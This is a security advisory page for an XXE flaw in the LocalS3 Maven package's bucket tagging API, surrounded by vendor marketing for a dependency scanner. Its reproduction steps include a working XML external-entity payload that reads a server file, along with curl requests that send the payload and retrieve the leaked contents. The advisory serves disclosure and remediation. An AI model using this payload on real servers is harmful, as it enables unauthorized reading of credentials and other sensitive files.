Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Maven

GHSA-v232-254c-m6p7

LocalS3 Project Vulnerable to XML External Entity (XXE) Injection via Bucket Tagging API

Published
Mar 10, 2025
Updated
Mar 10, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
io.github.robothy:local-s3-rest

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Description

The LocalS3 project, an S3-compatible storage service, is vulnerable to XML External Entity (XXE) injection through its bucket tagging API. The vulnerability exists because the application processes XML input without properly disabling external entity resolution.

When processing XML data for bucket tagging operations, the application allows the definition and resolution of external entities. This vulnerability allows an attacker to read arbitrary files from the server's filesystem by defining an external entity that references local files.

The vulnerability is particularly severe because it allows direct access to sensitive files on the server's filesystem, bypassing any intended access controls. The XXE vulnerability can be exploited to read any file that the application process has access to, potentially exposing sensitive configuration files, credentials, or other confidential information.

Steps to Reproduce

  1. Create a bucket in the LocalS3 service using any S3 client (e.g., AWS CLI, boto3)

  2. Send a PUT request to the bucket tagging endpoint with the following XML payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
        <!ENTITY xxe SYSTEM "file:///flag.txt" >
    ]>
    <Tagging><TagSet><Tag><Key>xxe</Key><Value>&xxe;</Value></Tag></TagSet></Tagging>
    
    curl -X PUT \
         -H "Host: app" \
         -H "Authorization: AWS dummy:dummy" \
         -H "Content-Type: application/xml" \
         --data-binary @xxe.xml \
         http://app/bucket?tagging
    
  3. Retrieve the bucket tags using a GET request to the same endpoint

    curl -H "Authorization: AWS dummy:dummy" http://app-1/bucket?tagging
    
  4. The content of the targeted file will be returned in the tag value

The successful exploitation of this vulnerability results in the contents of sensitive files being disclosed through the XML response, demonstrating the ability to read arbitrary files from the server's filesystem.

Mitigations

  • Disable XML external entity resolution in the XML parser configuration
  • Implement proper XML parsing security controls such as disabling DTD processing altogether
  • Use a safe parser configuration that doesn't process external entities or DTDs by default
  • Validate and sanitize all XML input before processing to prevent injection of malicious entities

Impact

Critical severity vulnerability allowing unauthenticated attackers to read arbitrary files from the server's filesystem. This can lead to exposure of sensitive information, configuration files, and system data, potentially enabling further attacks against the system. The impact is heightened by the fact that the vulnerability requires minimal technical knowledge to exploit and can be triggered through standard S3 API operations.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
Mavenio.github.robothy:local-s3-restall versions1.21

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.github.robothy:local-s3-rest. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update io.github.robothy:local-s3-rest to 1.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v232-254c-m6p7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-v232-254c-m6p7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-v232-254c-m6p7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Description The LocalS3 project, an S3-compatible storage service, is vulnerable to XML External Entity (XXE) injection through its bucket tagging API. The vulnerability exists because the application processes XML input without properly disabling external entity resolution. When processing XML data for bucket tagging operations, the application allows the definition and resolution of external entities. This vulnerability allows an attacker to read arbitrary files from the server's filesystem by defining an external entity that references local files. The vulnerability is particularly sev
O3 Security · Impact-Aware SCA

Is GHSA-v232-254c-m6p7 in your dependencies?

O3 detects GHSA-v232-254c-m6p7 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.